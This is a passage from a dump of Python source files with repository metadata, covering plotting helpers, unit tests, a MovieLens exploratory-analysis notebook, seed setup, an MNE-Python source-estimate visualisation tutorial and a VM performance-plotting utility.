cbarlbl)\r\n\r\n        # Format and customize plot\r\n\r\n        plt.xlabel(str(xlbl), size=10)\r\n        plt.ylabel(str(ylbl), size=10)\r\n        plt.title(str(title[i]), size=10)\r\n        plt.tight_layout()\r\n        plt.gca().set_aspect(\"equal\", adjustable=\"box\")\r\n    plt.show()\r\n\r\n\r\ndef cbar_axismap(mappable, ctitle):\r\n    \"\"\"Control the size of colorbar (aspect ratio) in multi-plot axis.\"\"\"\r\n    from mpl_toolkits.axes_grid1 import make_axes_locatable\r\n\r\n    last_axes = plt.gca()\r\n    ax = mappable.axes\r\n    fig = ax.figure\r\n    divider = make_axes_locatable(ax)\r\n    cax = divider.append_axes('right', size='5%', pad=0.05)\r\n    cbar = fig.colorbar(mappable, cax=cax)\r\n    if ctitle is not None:\r\n        cbar.set_label(ctitle, rotation=270, size=12, labelpad=15)\r\n    plt.sca(last_axes)\r\n\r\n    return cbar\r\n", "meta": {"hexsha": "55bd257b6c88359f1972d72c063e39645c9112e9", "size": 8035, "ext": "py", "lang": "Python", "max_stars_repo_path": "nanpack/backend/plots.py", "max_stars_repo_name": "vxsharma-14/DIFFUS", "max_stars_repo_head_hexsha": "d70633890b8fb2e7b3dde918eb13b263f7a035ef", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "nanpack/backend/plots.py", "max_issues_repo_name": "vxsharma-14/DIFFUS", "max_issues_repo_head_hexsha": "d70633890b8fb2e7b3dde918eb13b263f7a035ef", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 2, "max_issues_repo_issues_event_min_datetime": "2020-12-23T10:44:09.000Z", "max_issues_repo_issues_event_max_datetime": "2020-12-24T12:02:25.000Z", "max_forks_repo_path": "nanpack/backend/plots.py", "max_forks_repo_name": "vxsharma-14/DIFFUS", "max_forks_repo_head_hexsha": "d70633890b8fb2e7b3dde918eb13b263f7a035ef", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 36.5227272727, "max_line_length": 76, "alphanum_fraction": 0.5599253267, "include": true, "reason": "import numpy", "num_tokens": 2103, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4073333856566001, "lm_q2_score": 0.1294027399852894, "lm_q1q2_score": 0.05271005619144863}}
{"text": "\"\"\" Tests the NumPy introduction exercises\n\n:Author: Jonathan Karr <jonrkarr@gmail.com>\n:Date: 2017-07-11\n:Copyright: 2017, Karr Lab\n:License: MIT\n\"\"\"\n\nfrom intro_to_wc_modeling.concepts_skills.software_engineering import numpy_exercises\nimport unittest\n\n\nclass TestNumPyExercises(unittest.TestCase):\n\n    def test(self):\n        numpy_exercises.main()\n", "meta": {"hexsha": "697dcd2560cff38443a489c8b29a2a7b4902cbea", "size": 353, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/concepts_skills/software_engineering/test_numpy.py", "max_stars_repo_name": "KarrLab/python_package_tutorial", "max_stars_repo_head_hexsha": "dd20e0d3056138904e7e7fbbf6bb884d64dbf8f6", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 15, "max_stars_repo_stars_event_min_datetime": "2018-01-06T11:33:01.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-01T15:18:40.000Z", "max_issues_repo_path": "tests/concepts_skills/software_engineering/test_numpy.py", "max_issues_repo_name": "KarrLab/python_package_tutorial", "max_issues_repo_head_hexsha": "dd20e0d3056138904e7e7fbbf6bb884d64dbf8f6", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 2, "max_issues_repo_issues_event_min_datetime": "2018-01-30T23:21:12.000Z", "max_issues_repo_issues_event_max_datetime": "2018-03-23T20:22:06.000Z", "max_forks_repo_path": "tests/concepts_skills/software_engineering/test_numpy.py", "max_forks_repo_name": "KarrLab/python_package_tutorial", "max_forks_repo_head_hexsha": "dd20e0d3056138904e7e7fbbf6bb884d64dbf8f6", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 8, "max_forks_repo_forks_event_min_datetime": "2018-01-08T21:40:19.000Z", "max_forks_repo_forks_event_max_datetime": "2022-01-04T14:48:02.000Z", "avg_line_length": 20.7647058824, "max_line_length": 85, "alphanum_fraction": 0.7733711048, "include": true, "reason": "import numpy", "num_tokens": 90, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.4301473485858429, "lm_q2_score": 0.12252321091611637, "lm_q1q2_score": 0.052703034315791465}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[2]:\n\n\nimport os\nproject_name = \"reco-tut-mlh\"; branch = \"main\"; account = \"sparsh-ai\"\nproject_path = os.path.join('/content', project_name)\n\n\n# In[3]:\n\n\nif not os.path.exists(project_path):\n    get_ipython().system(u'cp /content/drive/MyDrive/mykeys.py /content')\n    import mykeys\n    get_ipython().system(u'rm /content/mykeys.py')\n    path = \"/content/\" + project_name; \n    get_ipython().system(u'mkdir \"{path}\"')\n    get_ipython().magic(u'cd \"{path}\"')\n    import sys; sys.path.append(path)\n    get_ipython().system(u'git config --global user.email \"recotut@recohut.com\"')\n    get_ipython().system(u'git config --global user.name  \"reco-tut\"')\n    get_ipython().system(u'git init')\n    get_ipython().system(u'git remote add origin https://\"{mykeys.git_token}\":x-oauth-basic@github.com/\"{account}\"/\"{project_name}\".git')\n    get_ipython().system(u'git pull origin \"{branch}\"')\n    get_ipython().system(u'git checkout main')\nelse:\n    get_ipython().magic(u'cd \"{project_path}\"')\n\n\n# ---\n\n# # Exploratory Data Analysis\n# \n# In this notebook we explore the MovieLens 100k dataset.\n# \n# \n# *   Find missing/null values\n# *   Examine the distribution of ratings\n# *   Examine movies and users with most reviews\n# *   Examine correlation between time and reviews\n# \n# \n\n# # Imports\n\n# In[13]:\n\n\nimport math\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os\nimport pandas as pd\nimport re\nimport requests\nimport seaborn as sns\nfrom scipy.stats.stats import pearsonr\nfrom tqdm import tqdm\n\n\n# # Prepare data\n\n# In[16]:\n\n\n# Load reviews.\nfp = os.path.join('./data/bronze', 'u.data')\nraw_data = pd.read_csv(fp, sep='\\t', names=['userId', 'movieId', 'rating', 'timestamp'])\nraw_data.head()\n\n\n# In[17]:\n\n\n# Load movie titles.\nfp = os.path.join('./data/bronze', 'u.item')\nmovie_titles = pd.read_csv(fp, sep='|', names=['movieId', 'title'], usecols = range(2), encoding='iso-8859-1')\nmovie_titles.head()\n\n\n# In[18]:\n\n\n# Merge dataframes.\nraw_data = raw_data.merge(movie_titles, how='left', on='movieId')\nraw_data.head()\n\n\n# In[19]:\n\n\n# Change timestamp to datatime.\nraw_data.timestamp = pd.to_datetime(raw_data.timestamp, unit='s')\nraw_data.head()\n\n\n# # Exploration\n\n# ## Unique and null values\n\n# We first see that there are 100k observations in our dataset. There are 943 unique users and 1682 unique movies, and the rating system is out of 5. We then check to see if there are any missing data points in the set, which we find there are none.\n\n# In[20]:\n\n\nprint(f'Shape: {raw_data.shape}')\nraw_data.sample(5, random_state=123)\n\n\n# In[21]:\n\n\nraw_data.nunique()\n\n\n# In[22]:\n\n\nraw_data.info()\n\n\n# In[23]:\n\n\nprint(f'Shape: {movie_titles.shape}')\nmovie_titles.sample(5, random_state=123)\n\n\n# ## Summary Stats\n\n# ### Ratings\n# \n# Next, we look at the summary statistics of each feature in the dataset. We notice that the mean rating of the movies is 3.5 and that the minimum and maximum rating is 1 and 5 respectivle, and that the ratings are discrete (no in-between values). The most common rating is 4, with the second most common being 3. There are very few reviews with a 1 rating (about 6000/100,000). In fact looking at our boxplots, reviews where the movie is rated 1 might even be considered an outlier.\n\n# In[24]:\n\n\nraw_data.describe()\n\n\n# In[25]:\n\n\nplt.figure(figsize=(7,5))\nsns.histplot(raw_data.rating)\nplt.show()\n\n\n# In[26]:\n\n\nplt.figure(figsize=(10,6))\nsns.boxplot(x = raw_data.rating)\nplt.show()\n\n\n# ### Time\n# \n# Actual reviews were made starting from September 20, 1997 to April 22, 1998, about 7 months of data.\n# \n# Actual movies reviewed were released from 1922 to 1998, with 4 years missing in that timespan. There are also a couple of movies with no year given. We assigned these movies to year 0.\n\n# In[28]:\n\n\nraw_data.timestamp.describe(datetime_is_numeric=True)\n\n\n# In[29]:\n\n\ndef get_year(title):\n    year=re.search(r'\\(\\d{4}\\)', title)\n    if year:\n        year=year.group()\n        return int(year[1:5])\n    else:\n        return 0\n\n\n# In[30]:\n\n\nraw_data['year'] = raw_data.title.apply(get_year)\nraw_data.year.sort_values().unique()\n\n\n# In[31]:\n\n\nraw_data[['year']].nunique()\n\n\n# In[32]:\n\n\nsns.histplot(raw_data['year'][raw_data['year'] != 0])\nplt.show()\n\n\n# ## Users with most reviews\n# \n# The most movies single user has reviewed is 737 reviews. The minimum number of reviews a user has reviewed in the dataset is 20. This is good since when creating recommendation systems, you want users with lots or reviews, allowing for us to test our recomendations. We also notice that most users reviewed less than 65 movies.\n\n# In[33]:\n\n\nusers_count = raw_data.groupby('userId')['rating'].count().sort_values(ascending=False).reset_index()\nusers_count\n\n\n# In[34]:\n\n\n# Plot how many movies a user reviewed\nplt.figure(figsize=(10, 6))\nfig = sns.histplot(users_count['rating'])\nplt.show()\n\n\n# In[35]:\n\n\nusers_count['rating'].median()\n\n\n# ## Movies with most reviews\n# \n# As we can expect, popular movies such as 'Star Wars' and 'Toy Story' have the most reviews. The highest number of reviews is 583 while the lowest number of reviews is 1.\n\n# In[36]:\n\n\nmovies_count = raw_data.groupby('title')['rating'].count().sort_values(ascending=False).reset_index()\nmovies_count\n\n\n# In[37]:\n\n\n# Plot 50 most reviewed movies.\nplt.figure(figsize=(15,10))\nfig = sns.barplot(x=movies_count.head(50)['title'], y=movies_count.head(50)['rating'])\nfig.set_xticklabels(fig.get_xticklabels(), rotation=45, horizontalalignment='right')\nplt.tight_layout()\nplt.show()\n\n\n# ## Time correlation\n# \n# Lastly we will examine if there is a correlation between then the movie was made and the rating given.\n\n# ## Year movie released vs rating\n\n# With a correlation coefficient of -0.1050, there is a tiny inverse relationship between when a movie was released and the rating given to it. The p-value is also much lower than 0.05 meaning that we can conclude that the correlation is statistically significant. Older movies were rating more generously than newer movies.\n# \n# This could be because older movies do not have as many ratings as the newer movies. People who would actually watch and rate old movies from the 20s and 30s would typically be film enthusiasts and thus have a bias towards older movies.\n\n# In[38]:\n\n\nplt.figure(figsize=(10, 6))\nmean_rating = raw_data.groupby('year')['rating'].mean().reset_index()\nmean_rating = mean_rating[mean_rating.year != 0]\nsns.lineplot(x=mean_rating.year, y=mean_rating.rating)\nplt.ylabel('avg_rating')\nplt.show()\n\n\n# In[39]:\n\n\npearsonr(raw_data.year, raw_data.rating)\n\n", "meta": {"hexsha": "ef92b36887c58a7b30340f35850ae58ae1b734a8", "size": 6544, "ext": "py", "lang": "Python", "max_stars_repo_path": "code/nbs/reco-tut-mlh-01-eda.py", "max_stars_repo_name": "sparsh-ai/reco-tut-mlh", "max_stars_repo_head_hexsha": "c0d115ba1a43f6e01793a20f1a690e90034fe619", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "code/nbs/reco-tut-mlh-01-eda.py", "max_issues_repo_name": "sparsh-ai/reco-tut-mlh", "max_issues_repo_head_hexsha": "c0d115ba1a43f6e01793a20f1a690e90034fe619", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "code/nbs/reco-tut-mlh-01-eda.py", "max_forks_repo_name": "sparsh-ai/reco-tut-mlh", "max_forks_repo_head_hexsha": "c0d115ba1a43f6e01793a20f1a690e90034fe619", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 23.5395683453, "max_line_length": 483, "alphanum_fraction": 0.7113386308, "include": true, "reason": "import numpy,from scipy", "num_tokens": 1707, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.35577489351363034, "lm_q2_score": 0.14804719803168948, "lm_q1q2_score": 0.05267147611471567}}
{"text": "import torch\nimport numpy as np\nimport random\nseed = 0 #1\ntorch.manual_seed(seed)\ntorch.cuda.manual_seed(seed)\ntorch.cuda.manual_seed_all(seed)  # if you are using multi-GPU.\nnp.random.seed(seed)  # Numpy module.\nrandom.seed(seed)  # Python random module.\ntorch.manual_seed(seed)\ntorch.backends.cudnn.benchmark = False\ntorch.backends.cudnn.deterministic = True\n", "meta": {"hexsha": "40f2ed6fd1fa3eb5e3113df4bef29b374586486a", "size": 361, "ext": "py", "lang": "Python", "max_stars_repo_path": "utils/io_/seeds.py", "max_stars_repo_name": "roshanr11/Research-DCST", "max_stars_repo_head_hexsha": "225461e6ffd7ca5a48b9688946eb36b2d98f358e", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "utils/io_/seeds.py", "max_issues_repo_name": "roshanr11/Research-DCST", "max_issues_repo_head_hexsha": "225461e6ffd7ca5a48b9688946eb36b2d98f358e", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "utils/io_/seeds.py", "max_forks_repo_name": "roshanr11/Research-DCST", "max_forks_repo_head_hexsha": "225461e6ffd7ca5a48b9688946eb36b2d98f358e", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 27.7692307692, "max_line_length": 63, "alphanum_fraction": 0.783933518, "include": true, "reason": "import numpy", "num_tokens": 93, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.3702254064929193, "lm_q2_score": 0.14223189137395395, "lm_q1q2_score": 0.05265785980017884}}
{"text": "# -*- coding: utf-8 -*-\n\"\"\"\n.. _tut-viz-stcs:\n\n====================================\nVisualize source time courses (stcs)\n====================================\n\nThis tutorial focuses on visualization of :term:`source estimates <STC>`.\n\nSurface Source Estimates\n------------------------\nFirst, we get the paths for the evoked data and the source time courses (stcs).\n\"\"\"\n\n# %%\n\nimport os.path as op\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nimport mne\nfrom mne.datasets import sample, fetch_hcp_mmp_parcellation\nfrom mne.minimum_norm import apply_inverse, read_inverse_operator\nfrom mne import read_evokeds\n\ndata_path = sample.data_path()\nmeg_path = data_path / 'MEG' / 'sample'\nsubjects_dir = data_path / 'subjects'\n\nfname_evoked = meg_path / 'sample_audvis-ave.fif'\nfname_stc = meg_path / 'sample_audvis-meg'\nfetch_hcp_mmp_parcellation(subjects_dir)\n\n# %%\n# Then, we read the stc from file.\nstc = mne.read_source_estimate(fname_stc, subject='sample')\n\n# %%\n# This is a :class:`SourceEstimate <mne.SourceEstimate>` object.\nprint(stc)\n\n# %%\n# The SourceEstimate object is in fact a *surface* source estimate. MNE also\n# supports volume-based source estimates but more on that later.\n#\n# We can plot the source estimate using the\n# :func:`stc.plot <mne.SourceEstimate.plot>` just as in other MNE\n# objects. Note that for this visualization to work, you must have ``PyVista``\n# installed on your machine.\ninitial_time = 0.1\nbrain = stc.plot(subjects_dir=subjects_dir, initial_time=initial_time,\n                 clim=dict(kind='value', lims=[3, 6, 9]),\n                 smoothing_steps=7)\n\n# %%\n# You can also morph it to fsaverage and visualize it using a flatmap.\n\n# sphinx_gallery_thumbnail_number = 3\nstc_fs = mne.compute_source_morph(stc, 'sample', 'fsaverage', subjects_dir,\n                                  smooth=5, verbose='error').apply(stc)\nbrain = stc_fs.plot(subjects_dir=subjects_dir, initial_time=initial_time,\n                    clim=dict(kind='value', lims=[3, 6, 9]),\n                    surface='flat', hemi='both', size=(1000, 500),\n                    smoothing_steps=5, time_viewer=False,\n                    add_data_kwargs=dict(\n                        colorbar_kwargs=dict(label_font_size=10)))\n\n# to help orient us, let's add a parcellation (red=auditory, green=motor,\n# blue=visual)\nbrain.add_annotation('HCPMMP1_combined', borders=2)\n\n# You can save a movie like the one on our documentation website with:\n# brain.save_movie(time_dilation=20, tmin=0.05, tmax=0.16,\n#                  interpolation='linear', framerate=10)\n\n# %%\n# Note that here we used ``initial_time=0.1``, but we can also browse through\n# time using ``time_viewer=True``.\n#\n# In case ``PyVista`` is not available, we also offer a ``matplotlib``\n# backend. Here we use verbose='error' to ignore a warning that not all\n# vertices were used in plotting.\nmpl_fig = stc.plot(subjects_dir=subjects_dir, initial_time=initial_time,\n                   backend='matplotlib', verbose='error', smoothing_steps=7)\n\n# %%\n#\n# Volume Source Estimates\n# -----------------------\n# We can also visualize volume source estimates (used for deep structures).\n#\n# Let us load the sensor-level evoked data. We select the MEG channels\n# to keep things simple.\nevoked = read_evokeds(fname_evoked, condition=0, baseline=(None, 0))\nevoked.pick_types(meg=True, eeg=False).crop(0.05, 0.15)\n# this risks aliasing, but these data are very smooth\nevoked.decimate(10, verbose='error')\n\n# %%\n# Then, we can load the precomputed inverse operator from a file.\nfname_inv = meg_path / 'sample_audvis-meg-vol-7-meg-inv.fif'\ninv = read_inverse_operator(fname_inv)\nsrc = inv['src']\nmri_head_t = inv['mri_head_t']\n\n# %%\n# The source estimate is computed using the inverse operator and the\n# sensor-space data.\nsnr = 3.0\nlambda2 = 1.0 / snr ** 2\nmethod = \"dSPM\"  # use dSPM method (could also be MNE or sLORETA)\nstc = apply_inverse(evoked, inv, lambda2, method)\ndel inv\n\n# %%\n# This time, we have a different container\n# (:class:`VolSourceEstimate <mne.VolSourceEstimate>`) for the source time\n# course.\nprint(stc)\n\n# %%\n# This too comes with a convenient plot method.\nstc.plot(src, subject='sample', subjects_dir=subjects_dir)\n\n# %%\n# For this visualization, ``nilearn`` must be installed.\n# This visualization is interactive. Click on any of the anatomical slices\n# to explore the time series. Clicking on any time point will bring up the\n# corresponding anatomical map.\n#\n# We could visualize the source estimate on a glass brain. Unlike the previous\n# visualization, a glass brain does not show us one slice but what we would\n# see if the brain was transparent like glass, and\n# :term:`maximum intensity projection`) is used:\nstc.plot(src, subject='sample', subjects_dir=subjects_dir, mode='glass_brain')\n\n# %%\n# You can also extract label time courses using volumetric atlases. Here we'll\n# use the built-in ``aparc+aseg.mgz``:\n\nfname_aseg = op.join(subjects_dir, 'sample', 'mri', 'aparc+aseg.mgz')\nlabel_names = mne.get_volume_labels_from_aseg(fname_aseg)\nlabel_tc = stc.extract_label_time_course(fname_aseg, src=src)\n\nlidx, tidx = np.unravel_index(np.argmax(label_tc), label_tc.shape)\nfig, ax = plt.subplots(1)\nax.plot(stc.times, label_tc.T, 'k', lw=1., alpha=0.5)\nxy = np.array([stc.times[tidx], label_tc[lidx, tidx]])\nxytext = xy + [0.01, 1]\nax.annotate(\n    label_names[lidx], xy, xytext, arrowprops=dict(arrowstyle='->'), color='r')\nax.set(xlim=stc.times[[0, -1]], xlabel='Time (s)', ylabel='Activation')\nfor key in ('right', 'top'):\n    ax.spines[key].set_visible(False)\nfig.tight_layout()\n\n# %%\n# We can plot several labels with the most activation in their time course\n# for a more fine-grained view of the anatomical loci of activation.\nlabels = [label_names[idx] for idx in np.argsort(label_tc.max(axis=1))[:7]\n          if 'unknown' not in label_names[idx].lower()]  # remove catch-all\nbrain = mne.viz.Brain('sample', hemi='both', surf='pial', alpha=0.5,\n                      cortex='low_contrast', subjects_dir=subjects_dir)\nbrain.add_volume_labels(aseg='aparc+aseg', labels=labels)\nbrain.show_view(azimuth=250, elevation=40, distance=400)\n\n# %%\n# And we can project these label time courses back to their original\n# locations and see how the plot has been smoothed:\n\nstc_back = mne.labels_to_stc(fname_aseg, label_tc, src=src)\nstc_back.plot(src, subjects_dir=subjects_dir, mode='glass_brain')\n\n# %%\n# Vector Source Estimates\n# -----------------------\n# If we choose to use ``pick_ori='vector'`` in\n# :func:`apply_inverse <mne.minimum_norm.apply_inverse>`\nfname_inv = op.join(data_path, 'MEG', 'sample',\n                    'sample_audvis-meg-oct-6-meg-inv.fif')\ninv = read_inverse_operator(fname_inv)\nstc = apply_inverse(evoked, inv, lambda2, 'dSPM', pick_ori='vector')\nbrain = stc.plot(subject='sample', subjects_dir=subjects_dir,\n                 initial_time=initial_time, brain_kwargs=dict(\n                     silhouette=True), smoothing_steps=7)\n\n# %%\n# Dipole fits\n# -----------\n# For computing a dipole fit, we need to load the noise covariance, the BEM\n# solution, and the coregistration transformation files. Note that for the\n# other methods, these were already used to generate the inverse operator.\nfname_cov = meg_path / 'sample_audvis-cov.fif'\nfname_bem = subjects_dir / 'sample' / 'bem' / 'sample-5120-bem-sol.fif'\nfname_trans = meg_path / 'sample_audvis_raw-trans.fif'\n\n##############################################################################\n# Dipoles are fit independently for each time point, so let us crop our time\n# series to visualize the dipole fit for the time point of interest.\nevoked.crop(0.1, 0.1)\ndip = mne.fit_dipole(evoked, fname_cov, fname_bem, fname_trans)[0]\n\n##############################################################################\n# Finally, we can visualize the dipole.\n\ndip.plot_locations(fname_trans, 'sample', subjects_dir)\n", "meta": {"hexsha": "8130fb0d0573e2a9fd6fc4a9776cba890e57155b", "size": 7860, "ext": "py", "lang": "Python", "max_stars_repo_path": "tutorials/inverse/60_visualize_stc.py", "max_stars_repo_name": "0reza/mne-python", "max_stars_repo_head_hexsha": "da02a256423404a81929d6de278bc63d3192a280", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tutorials/inverse/60_visualize_stc.py", "max_issues_repo_name": "0reza/mne-python", "max_issues_repo_head_hexsha": "da02a256423404a81929d6de278bc63d3192a280", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tutorials/inverse/60_visualize_stc.py", "max_forks_repo_name": "0reza/mne-python", "max_forks_repo_head_hexsha": "da02a256423404a81929d6de278bc63d3192a280", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 37.6076555024, "max_line_length": 79, "alphanum_fraction": 0.6888040712, "include": true, "reason": "import numpy", "num_tokens": 2057, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.44167300566462553, "lm_q2_score": 0.1192029235866439, "lm_q1q2_score": 0.0526487135445237}}
{"text": "import unittest\nimport pandas as pd\nimport numpy as np\nfrom helper_functions import DataFrameHelper, SeriesHelper\n\n\nclass HelperFunctionsTest(unittest.TestCase):\n    \"\"\"Unit Test Cases for helper_functions module\"\"\"\n\n    def test_null_count(self):\n        \"\"\"Test that DataFrameHelper.null_count() returns total null cells\"\"\"\n        df_test1 = pd.DataFrame([\n                        [1, np.nan, 1],\n                        [np.nan, 1, 1],\n                        [1, 1, np.nan]\n                       ])\n        df_test2 = pd.DataFrame([\n                        [1, 1, 1],\n                        [1, 1, 1],\n                        [1, 1, 1]\n                       ])\n\n        dfh_test1 = DataFrameHelper(df_test1)\n        dfh_test2 = DataFrameHelper(df_test2)\n\n        self.assertEqual(dfh_test1.null_count(), 3)\n        self.assertEqual(dfh_test2.null_count(), 0)\n\n    def test_train_test_split(self):\n        \"\"\"\n        Test that DataFrameHelper.train_test_split() returns two dataframes\n        with the appropriate fraction of the original dataframe\n        \"\"\"\n\n        df_original = pd.DataFrame(\n                                   np.random.randint(\n                                                     0,\n                                                     100,\n                                                     size=(10, 4)),\n                                   columns=list('ABCD'))\n\n        frac = 0.8\n        length_original = len(df_original)\n        dfh_orginal = DataFrameHelper(df_original)\n\n        df_train, df_test = dfh_orginal.train_test_split(frac)\n\n        self.assertEqual((len(df_train) + len(df_test)), length_original)\n        self.assertEqual(len(df_train), (length_original * frac))\n        self.assertEqual(len(df_test), (length_original\n                                        - (length_original * frac)))\n\n    def test_randomize(self):\n        \"\"\"\n        Test that the DataFrame.randomize() returns a dataframe not\n        matching the original\n        \"\"\"\n\n        df_original = pd.DataFrame(\n                                   np.random.randint(\n                                                     0,\n                                                     100,\n                                                     size=(10, 4)),\n                                   columns=list('ABCD'))\n\n        dfh_test1 = DataFrameHelper(df_original)\n        dfh_test1.randomize()\n\n        pd.testing.assert_frame_equal(df_original, dfh_test1.df)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n", "meta": {"hexsha": "337d87b8b185ffe1b8a3db7e37b40f34f02045d2", "size": 2521, "ext": "py", "lang": "Python", "max_stars_repo_path": "lambdatarencurry/helper_functions_test.py", "max_stars_repo_name": "ren-curry/lamdata_rencurry", "max_stars_repo_head_hexsha": "77c7580f763f39943a9c5640cd5a3236816b1d91", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "lambdatarencurry/helper_functions_test.py", "max_issues_repo_name": "ren-curry/lamdata_rencurry", "max_issues_repo_head_hexsha": "77c7580f763f39943a9c5640cd5a3236816b1d91", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "lambdatarencurry/helper_functions_test.py", "max_forks_repo_name": "ren-curry/lamdata_rencurry", "max_forks_repo_head_hexsha": "77c7580f763f39943a9c5640cd5a3236816b1d91", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 34.0675675676, "max_line_length": 77, "alphanum_fraction": 0.4795715986, "include": true, "reason": "import numpy", "num_tokens": 465, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.10521054792560194, "lm_q1q2_score": 0.05260527396280097}}
{"text": "## SETUP THE ENVIRONMENT \r\n\r\n## Import general system modules\r\nfrom google.colab import drive\r\nfrom google_drive_downloader import GoogleDriveDownloader\r\nfrom itertools import product\r\nfrom itertools import chain\r\nimport random \r\nimport pickle\r\nimport gzip\r\nimport sys\r\nimport os\r\n\r\n\r\n## Core modules\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\n## Import plotting libraries\r\nfrom matplotlib import pyplot as plt\r\nimport matplotlib \r\nimport seaborn as sns\r\n\r\n## ML modules\r\nfrom sklearn.manifold import TSNE\r\nfrom sklearn.decomposition import PCA \r\nfrom sklearn.cluster import DBSCAN\r\nimport umap\r\n\r\n## UTILITY FUNCTIONS ## \r\n\r\n\r\n## Define simple function that will truncate numeric variable within trunc_range\r\n## This truncation is based on quantile function \r\n\r\ndef truncate_by_quantile(series, trunc_range = [0, 1]):\r\n    wk_series = series.copy()\r\n    q_values = series.quantile(trunc_range).values\r\n    q_min = np.min(q_values)\r\n    q_max = np.max(q_values)\r\n    wk_series = np.where(np.logical_and(wk_series < q_min,~np.isnan(wk_series)) , q_min, wk_series)\r\n    wk_series = np.where(np.logical_and(wk_series > q_max,~np.isnan(wk_series)) , q_max, wk_series)\r\n    return(wk_series)\r\n\r\n## Take single vm and plot it \r\ndef plot_single_vm(__perf_data, __vmid = None, transformation = None):\r\n\r\n    ## Calculate dims \r\n    __N = len(__perf_data)\r\n    __VMs = list(__perf_data.keys())\r\n    __T , __D = __perf_data[__VMs[0]].shape\r\n    __F = list(__perf_data[__VMs[0]].columns)\r\n\r\n    ## \r\n    CHECK_VMS = any([i == __vmid for i in __VMs])\r\n\r\n    ## Check vms\r\n    if not CHECK_VMS:\r\n\r\n        if __vmid is not None:\r\n            print(__vmid, 'is not valid ID!\\nRandom vm has been picked! ')\r\n\r\n        vmIx = random.randint(0,(__N-1))\r\n        __vmid = __VMs[vmIx] \r\n\r\n    ### \r\n    if transformation is None or transformation =='None':\r\n        transformation  = return_transformer(None)\r\n\r\n    ## Create instance of the data for this vm: \r\n    __vmid, data  = sample_observation(__perf_data, vmid = __vmid)\r\n\r\n    ## Create VMId + VM index title: \r\n    plotTitle = 'VM ID:'+str(__vmid)\r\n\r\n    ##  Create the plot: \r\n    ts, axes =  plt.subplots(nrows=3, ncols=2, sharex=True, figsize=(30,8))\r\n    ts.suptitle(plotTitle, fontsize=14)\r\n\r\n\r\n    for i, ax in enumerate(axes.reshape(-1)):\r\n\r\n        metric = __F[i]\r\n        data_serices = data[metric]\r\n        \r\n        data_serices = transformation(data_serices)\r\n\r\n\r\n        # For each metric find indexes with missing values \r\n        missing_ix = data[data[metric].isna()].index\r\n        minVal = data_serices.min()\r\n        dummy_x = [minVal for i in range(len(missing_ix))]\r\n\r\n        ax.set_ylabel(metric)\r\n        ax.yaxis.set_label_position('right')\r\n        ax.plot(data.index,data_serices)\r\n        ax.scatter(missing_ix,dummy_x , c = 'red', s = 18, marker = 'x')\r\n    plt.show()\r\n\r\n## This is a utility function that samples the information for single virtual machine \r\n## It can sample random as well as specific virtual machine and metric (metrics)\r\n## It also can remove rows with missing values\r\n\r\ndef sample_observation(data, metrics = 'All',vmid = None):\r\n    N = len(data)\r\n    VMs = list(data.keys())\r\n    if vmid == None:\r\n        vmIx = random.randint(0,(N-1))\r\n        vmid = VMs[vmIx]\r\n    \r\n    ## Selec the data\r\n    data_sample = 